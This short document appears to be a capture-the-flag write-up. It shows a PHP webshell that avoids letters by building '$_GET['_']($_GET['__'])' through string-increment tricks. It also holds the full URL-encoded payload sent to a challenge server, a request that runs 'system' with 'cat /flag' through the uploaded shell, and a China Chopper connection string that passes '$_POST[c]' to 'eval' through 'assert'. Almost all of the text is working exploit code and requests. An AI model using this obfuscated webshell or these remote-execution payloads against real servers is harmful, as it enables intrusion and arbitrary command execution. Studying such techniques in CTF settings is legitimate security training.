<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_; // E
$_=++$_;
$_=++$_;
$__=$_.$__; // GE
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);

完整 Payload

http://120.24.215.80:10010/?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

獲取 flag

http://120.24.215.80:10010/uploads/vVyyxGUTyFsL0tgdvmCjVkvRAehduvvQ.php?_=system&__=cat /flag

菜刀連接

http://120.24.215.80:10010/uploads/vVyyxGUTyFsL0tgdvmCjVkvRAehduvvQ.php?_=assert&__=eval("$_POST[c]");